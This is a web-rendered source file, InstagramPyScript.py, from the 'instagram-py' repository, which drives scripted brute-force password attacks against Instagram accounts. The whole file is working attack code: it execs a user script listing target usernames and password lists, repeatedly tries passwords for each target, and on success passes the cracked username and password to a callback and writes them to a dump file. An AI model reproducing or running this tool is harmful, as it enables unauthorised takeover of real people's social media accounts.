Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
deathsec
GitHub Repository: deathsec/instagram-py
Path: blob/master/InstagramPy/InstagramPyScript.py
197 views
1
# The MIT License.
2
# Copyright (C) 2017 The Future Shell , DeathSec.
3
#
4
# @filename : InstagramPyScript.py
5
# @description : Handles Instagram-Py Attack Scripts.
6
import os
7
from .InstagramPyCLI import InstagramPyCLI
8
from .InstagramPySession import InstagramPySession, DEFAULT_PATH
9
from .InstagramPyInstance import InstagramPyInstance
10
from .InstagramPyDumper import InstagramPyDumper
11
from datetime import datetime
12
from .AppInfo import appInfo as AppInformation
13
14
15
class InstagramPyScript:
16
script_code = None
17
cli = InstagramPyCLI(
18
appinfo=AppInformation,
19
started=datetime.now(),
20
verbose_level=0,
21
username=''
22
)
23
threads = {} # not actually threads but a simple dict
24
no_of_threads = len(threads)
25
26
def __init__(self, script):
27
self.cli.PrintHeader()
28
self.cli.PrintDatetime()
29
30
if not os.path.isfile(script):
31
self.cli.ReportError("no script found at {}".script)
32
33
with open(script, 'r') as f:
34
self.script_code = compile(f.read(), script, 'exec')
35
36
def run(self):
37
try:
38
exec(self.script_code, globals())
39
count = 0
40
for i in usernames:
41
try:
42
cli = InstagramPyCLI(
43
appinfo=AppInformation,
44
started=datetime.now(),
45
verbose_level=i['verbose'],
46
username=i['id']
47
)
48
except:
49
cli = InstagramPyCLI(
50
appinfo=AppInformation,
51
started=datetime.now(),
52
verbose_level=0,
53
username=i['id']
54
)
55
try:
56
session = InstagramPySession(
57
i['id'],
58
i['password_list'],
59
DEFAULT_PATH,
60
DEFAULT_PATH,
61
cli
62
)
63
except:
64
try:
65
session = InstagramPySession(
66
i['id'],
67
global_password_list,
68
DEFAULT_PATH,
69
DEFAULT_PATH,
70
cli
71
)
72
except:
73
self.cli.ReportError(
74
"invalid script :: No Password list is Mentioned in the Script!")
75
try:
76
session.ReadSaveFile(i['countinue'])
77
except:
78
session.ReadSaveFile(False)
79
80
instance = InstagramPyInstance(cli, session)
81
82
self.threads[count] = {
83
"terminated": False,
84
"instance": instance
85
}
86
try:
87
self.threads[count]['callback'] = i['callback']
88
except:
89
try:
90
self.threads[count]['callback'] = global_callback
91
except:
92
self.threads[count]['callback'] = None
93
count += 1
94
except Exception as e:
95
self.cli.ReportError("invalid script :: {}".format(e))
96
97
# Finished Parsing the Custom Attack Script , Start The Attack.
98
self.no_of_threads = len(self.threads)
99
while self.no_of_threads is not 0:
100
for i in self.threads:
101
if self.threads[i]['terminated'] is True:
102
continue # next iteration
103
elif self.threads[i]['instance'].PasswordFound():
104
if self.threads[i]['callback'] is not None:
105
self.threads[i]['callback'](
106
self.threads[i]['instance'].session.username,
107
self.threads[i]['instance'].session.CurrentPassword()
108
)
109
self.threads[i]['instance'].session.WriteDumpFile(
110
{
111
"id": self.threads[i]['instance'].session.username,
112
"password": self.threads[i]['instance'].session.CurrentPassword(),
113
"started": str(self.threads[i]['instance'].cli.started)
114
}
115
)
116
117
self.threads[i]['terminated'] = True
118
self.no_of_threads -= 1
119
else:
120
self.threads[i]['instance'].TryPassword()
121
122